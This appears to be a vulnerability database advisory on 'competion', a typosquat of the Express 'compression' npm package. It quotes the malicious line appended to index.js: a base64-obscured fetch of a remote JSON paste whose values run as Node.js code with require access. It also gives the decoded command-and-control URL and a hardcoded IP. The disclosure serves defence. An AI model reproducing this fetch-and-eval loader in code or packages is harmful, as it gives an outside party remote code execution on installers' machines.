VDB
GCVE-110-OSM-2026-1393
GCVE-110-OSM-2026-1393
Advisory PublishedCVSS 9.6/10
Typosquats the `compression` Express middleware (drops one 's') and appends a fetch-eval payload to index.js that downloads arbitrary Node.js from https://jsonkeeper.com/b/XLUGA and executes each value in the JSON response via `new Function.constructor('require', vCode)`. The C2 URL is base64-encoded inline (`atob('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hMVUdB')`). Four versions were published in 2.1 hours, and IP 5.2.2.4 is hardcoded in the source.
index.js appends: `fetch(atob('aHR0cHM6Ly9qc29ua2VlcGVyLmNvbS9iL1hMVUdB')).then(r=>r.json()).then(rr=>{Object.keys(rr).forEach(v=>validationHandler(rr[v]))})` — atob decodes to https://jsonkeeper.com/b/XLUGA. For each key in the JSON response, validationHandler constructs `new (Function.constructor)('require', vCode)` and calls it with require, granting the stage-2 payload full Node.js module access. The multi-key design allows simultaneous delivery of multiple independent payloads.
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | competion | 1.8.4 (latest of 4 versions: 1.8.1–1.8.4) (affected) | — |
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.